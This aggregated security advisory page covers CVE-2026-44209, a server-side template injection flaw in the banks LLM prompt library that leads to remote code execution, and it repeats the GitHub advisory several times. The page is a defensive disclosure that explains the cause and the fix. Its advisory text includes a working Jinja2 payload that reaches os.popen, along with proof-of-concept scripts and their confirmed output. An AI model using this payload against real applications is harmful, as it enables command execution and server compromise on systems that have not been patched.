CVE-2026-44209
Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
- Record
CVE-2026-44209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-917
- Updated
- 2026-11-02
EUVDEUVD-2026-31997
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
- Record
EUVD-2026-31997- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gphh-9q3h-jgpp
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
- Record
GHSA-gphh-9q3h-jgpp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
NVD
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
- Record
CVE-2026-44209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-917
- Updated
- 2026-11-02
OSV
Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI
Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.
- Record
CVE-2026-44209- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
OSVGHSA-gphh-9q3h-jgpp
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
- Record
GHSA-gphh-9q3h-jgpp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
OSVPYSEC-2026-2390
banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI
Summary
banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.
This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.
Vulnerable Code
src/banks/env.py — the global Jinja2 environment is created without sandboxing:
env = Environment(
autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
...
)
Attack Scenario
An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text() # Executes arbitrary command on the host
Proof of Concept
Setup:
pip install banks==2.4.1
PoC script:
from banks import Prompt
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")
Confirmed output:
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...
text
**File-write proof:**
```python
from banks import Prompt
p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec
Impact
Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
Fix
Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.
Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().
Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm — identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine
- Record
PYSEC-2026-2390- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
banksPyPI |
through 2.4.1 | 2.4.2 |
banksPyPI |
before 2.4.2, plus listed versions 0.0.10.0.20.0.30.1.00.1.1 Show 27 moreShow less0.2.00.3.00.3.10.4.10.5.00.6.01.0.01.1.01.2.01.2.11.3.01.4.01.5.01.6.01.6.11.7.01.7.11.8.02.0.02.1.02.1.12.1.22.1.32.2.02.3.02.4.02.4.1 |
2.4.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44209 is a high vulnerability (CVSS 7.5) in Masci Banks, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.42%, the 36th percentile. Fixed in banks 2.4.2.